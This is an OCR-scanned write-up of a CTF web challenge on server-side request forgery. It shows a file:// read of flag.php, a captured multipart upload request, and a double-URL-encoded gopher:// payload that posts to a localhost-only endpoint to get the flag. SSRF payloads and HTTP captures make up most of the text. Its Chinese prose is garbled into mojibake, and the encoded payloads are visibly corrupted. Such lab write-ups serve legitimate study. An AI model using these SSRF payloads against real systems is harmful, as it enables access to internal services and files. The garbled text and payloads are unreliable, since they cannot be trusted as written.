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hint: XR®E L& —AXHBflag.phpT, BIREFE

B, KRR, EFURL:

http://challenge-304558222a791779.sandbox.ctfhub.com:10800/?url=_

Hilid GET #=E# T S8 url , KEBZRIEH, 2 U5 2url=127.0.0.1/flag.php :

Upload Webshell
| IR | FIRIBFEEIH

RNTE L& Webshell, RAEEFECHIIRE, HEE R E4.
fEF file WrSRER flag. php YRS :

url=file:///var/www/html/flag.php

RIETER, B2 BRI

error_reporting(9);

if( ["REMOTE_ADDR" ] "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;

1
J

if(isset( ["file"]) ["file"]["size"]
echo getenv("CTFHUB");
exit;
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Upload Webshell
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Elements

=body
"Upload Webshell "
<form action= lag.php" method="p
file" "file'":
submit" na submit"=>

B LKA, BEWTRERR:

Just View From 127.0.0.1

RAavr WA 7, BT B30, FFE R BurpSuite MU .«

Request

3 »  Actions v

1 POST /flag.php HTTP/1.1

Host: challenge-30455822aa791779.8andbox.ctfhub.com: 10800

Content-Length: 193

4 Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://challenge-30455822aa791779.sandbox.ctfhub.com: 10800

7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQlPZZ8bly6AgLyed

User-RAgent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (EHTML, like Gecko) Chrome/91.0.4472.114 safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9%,image/avif,image/webp,image/apng,*/*;g=0.8,application/signed-exchange;v=b3;gq=0.9
Referer: http://challenge-30455822aa791779%.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php

1 hAccept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: UM_distinctid=17877965f991088-09£f041fb1563f1-6718207c-13c680-17877965f%allde

14 Connection: close

------ WebKitFormBoundaryQlPZZ8bly6hgLlyed
17 Content-Disposition: form-data; name="file"; filename="test.txt"
18 Content-Type: text/plain

20 SSRF Upload
21 =m———— WebKitFormBoundaryQlPZZ8bly6AgLyed--

S CTFHUbH: BEM Web-SSRF POSTiE 3k, #i&EPOSTIER:


https://senimo.blog.csdn.net/article/details/118387034

POST /flag.php HTTP/1.1

Host: 127.0.0.1

Content-Length: 292

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryllYApMMA3NDrr2iY

WebKitFormBoundaryl1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

SSRF Upload
- --WebKitFormBoundaryllYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"

WebKitFormBoundaryllYApMMA3NDrr2iY- -

52 HIHER, #58—RURLSHS 5 KI%E + %ea B #iy %ep%ea , FH#EAT —IRURLSHHS:

URLZRHS

ur

FHE  utiB(unicodedRhz)

POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-
Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D--—-
WebKitFormBoundaryl lYRpMMA3NDrr2iY%250D%250A%250D%250A~-~--~~

WebKitFormBoundaryl lYApMMA3NDrr2i¥%250D%250AContent-Disposition%253A%2520form-
data%253B%2520name%253D%2522f11e%2522%253B%2520£f1lenamet253D%2522test . txt%2522%250D%250AContent~
Type%253A%2520text/plaint250D%250A%250D%250AS5RF$2520Uploadt250D%250R~~~~~~
WebKitFormBoundaryllYApMMA3NDrr2i¥$250D%250AContent-Disposition$253A%2520form-
data%253B%2520name%253D%25225ubmit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A---——~
WebKitFormBoundaryl lYApMMA3NDrr2i¥--

Dy T R -

POST%2520/flag.php%2520HTTP/1.1%250D%250AH0st%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AC
ontent-Type%253A%2520multipart/form-data%253B%2520boundary%253D- - - -WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%

WebKitFormBoundaryllYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%
253D%2522f11e%2522%253B%2520filename%253D%2522test . txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%

250D%250ASSRF%2520Upload%250D%250A WebKitFormBoundaryllYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%252)
@form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A
ebKitFormBoundaryl1lYApMMA3NDrr2iY--

i Payload:



?url=gopher://127.0.0.1:80/_P0ST%2520/flag.php%2520HTTP/1.1%250D%250AH0st%253A%2520127.0.0.1%250D%250AContent-Le|
ngth%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D- - - -WebKitFormBoundar
y11YApMMA3NDrr2iY%250D%250A%250D%250A WebKitFormBoundaryllYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%
2520form-data%253B%2520name%253D%2522F11e%2522%253B%2520filename%253D%2522test . txt%2522%250D%250AContent-Type%25
WebKitFormBoundaryllYApMMA3NDrr2iY%250D%250A

3A%2520text/plain’%250D%250A%250D%250ASSRF%2520Upload’%250D%250A
Content-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E

4%25BA%25A4%250D%250A

WebKitFormBoundary1lYApMMA3NDrr2iY- -

RIEHHER, 183flag:

Request

m \n Actions v
GET /?url=

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTF/1.1%250D%250AHost%253A%
2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Typet2

Response

=M Raw Render '‘n  Actions v

HTTE/1.1 200 OK
Server: openresty/1.19.3.2
Date: Sun, 04 Jul 2021 12:33:56 GMT

53A%2520multipart/form-datat253B%2520boundary$253D====WebKitFormBoundaryll 4 Content-Type: text/html; charset=UTF-8
YApMMAINDrr2i¥%250D%250A%250D%250A=mmmax WebKitFormBoundaryllYApMMA3INDrr2iY Content=Length: 206
$250D%250hContent=Disposition®253A%2520form-datat253B%2520name%253D%2522f1 close

le%2522%253B%2520filename*253D%2522test. txt32522%250D3250AContent-Typet253
R%2520text/plaint250D%250A%250D%250ASSRF2520Uploadt250D%250h=-===== WebKitF
ormBoundaryll1YApMMA3INDrr2i¥Y%250D%250AContent=-Dispositiont2530%2520form=-dat
2%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25
E4%25BA%25R4%3250D% 250 A====== WebKitFormBoundaryllYApMMAINDrr2i¥-= HTTPR/1.1

] X=Powered-By: PHP/5.6.40
Vary: RAccept-Encoding
Access=Control-Allow=0Origin: *

2
3
6 Connection:
8
9
0 Rccess=Control-Allow-Headers:

X-Requested-With

11 hccess=Control-Allow-Methods: *

2 Host: challenge-e0250ef69512680e.sandbox.ctfhub.com: 10800 12

3 Upgrade-Insecure-Requests: 1 13 HTTP/1.1 200 OK

4 User=-Rgent: Mozilla/5.0 (Macintosh; Intel Mac 0S8 X 10_15_7) 14 Date: Sun, 04 Jul 2021 12:33:51 GMT
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 safari/537.36 15 Server: RApache/2.4.25 (Debian)

5 Rhocept: 16 X=Powered-By: PHP/5.6.40
text/html, application/xhtml+xml, application/xml;g=0.9,image/avif, image/web 17 Content-Length: 32
p,image/apng,*/*;gq=0.8,application/signed-exchange;v=b3;q=0.9 18 Content-Type: text/html; charset=UTF-8

& Rccept=Encoding: gzip, deflate 19

7 Rccept-=Language: zh=CN,zh;g=0.9 20 ctfhub{lee3l8fd466419ea6dB83360d}

8 Cookie: UM_distinctid=

[=]"-]

17877965f991088-09f041fb1563f1-6718207c-13c680-17877965£9allde
Connection: close
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